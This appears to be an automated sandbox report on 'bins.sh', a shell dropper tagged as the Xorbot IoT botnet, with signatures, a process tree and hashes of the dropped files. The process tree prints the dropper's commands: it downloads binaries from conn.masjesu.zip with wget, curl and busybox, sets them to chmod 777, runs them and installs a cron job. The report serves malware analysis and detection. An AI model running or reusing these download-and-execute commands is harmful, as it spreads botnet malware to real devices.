Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/12/2024, 07:35

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    98622bdc69acc97215b60196c5c0e9ab

  • SHA1

    6b47f8cac4d58b088cf561f3d12202dd44ea71da

  • SHA256

    115729fe1c6f7caf8f8cd9867314bd5ac2afbf8f2bba5996992a3e7cf042ad71

  • SHA512

    f6ea22965640378467ea9b5e1b1cf448bd5b2bd1b9b262dbe94cd8cabe593ccfb9c8029a6f821667bf73598299b264f4f513ca46506d86fa0f892d1a0c788908

  • SSDEEP

    192:jxhMPL5B9RmCVMkonAcf6K46ri3GmhgksXxhMPLLAcf6KVmCVMkzlGmhgkS:jxhMPL/9RmCVMko46riixhMPLBmCVMkS

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1511) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 20 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:711
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:720
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:735
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
          2⤵
          • File and Directory Permissions Modification
          PID:743
        • /tmp/2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
          ./2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
          2⤵
          • Executes dropped EXE
          PID:744
        • /bin/rm
          rm 2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:747
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:748
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:758
          • /bin/chmod
            chmod 777 UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
            2⤵
            • File and Directory Permissions Modification
            PID:763
          • /tmp/UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
            ./UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
            2⤵
            • Executes dropped EXE
            PID:764
          • /bin/rm
            rm UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
            2⤵
              PID:767
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:768
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:776
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:786
            • /bin/chmod
              chmod 777 rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
              2⤵
              • File and Directory Permissions Modification
              PID:799
            • /tmp/rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
              ./rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
              2⤵
              • Executes dropped EXE
              PID:800
            • /bin/rm
              rm rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
              2⤵
                PID:804
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:805
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:812
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:814
              • /bin/chmod
                chmod 777 zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
                2⤵
                • File and Directory Permissions Modification
                PID:815
              • /tmp/zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
                ./zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
                2⤵
                • Executes dropped EXE
                PID:816
              • /bin/rm
                rm zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
                2⤵
                  PID:818
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:819
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:820
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:826
                • /bin/chmod
                  chmod 777 lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
                  2⤵
                  • File and Directory Permissions Modification
                  PID:831
                • /tmp/lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
                  ./lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:832
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:835
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:836
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:838
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:839
                      • /bin/rm
                        rm lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
                        2⤵
                          PID:843
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
                          2⤵
                          • System Network Configuration Discovery
                          PID:847
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
                          2⤵
                          • System Network Configuration Discovery
                          PID:849
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:852
                        • /bin/chmod
                          chmod 777 WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
                          2⤵
                          • File and Directory Permissions Modification
                          PID:859
                        • /tmp/WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
                          ./WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
                          2⤵
                          • Executes dropped EXE
                          PID:882
                        • /bin/rm
                          rm WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
                          2⤵
                            PID:941
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/uuLgZLBtSLdIam2I1VCPl1rwqnoJmKB8Ry
                            2⤵
                            • System Network Configuration Discovery
                            PID:942
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/uuLgZLBtSLdIam2I1VCPl1rwqnoJmKB8Ry
                            2⤵
                            • System Network Configuration Discovery
                            PID:945

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m

                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                        • /tmp/UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa

                          Filesize

                          111KB

                          MD5

                          701e7a55a4f3650f5feee92a9860e5fc

                          SHA1

                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                          SHA256

                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                          SHA512

                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                        • /tmp/lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w

                          Filesize

                          119KB

                          MD5

                          1b166b95f9cb4b079ef1b9ec8363ddf3

                          SHA1

                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                          SHA256

                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                          SHA512

                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                        • /var/spool/cron/crontabs/tmp.sqmsmf

                          Filesize

                          210B

                          MD5

                          273936f752924c644ab18ceacf5f246a

                          SHA1

                          10d0611bd1d92d74ead15cb43f541e0401903e99

                          SHA256

                          59283667445cba873508bec49f3675ce0ac4c099d1817d73c4ebd1028df7c985

                          SHA512

                          06d07eb652bf1165803ac34522f04416c6e072a31ba195b1bda92b77259ca432db642e95ad078051a76687745e79f47d3c775428b33cf70999def43ecfa696c7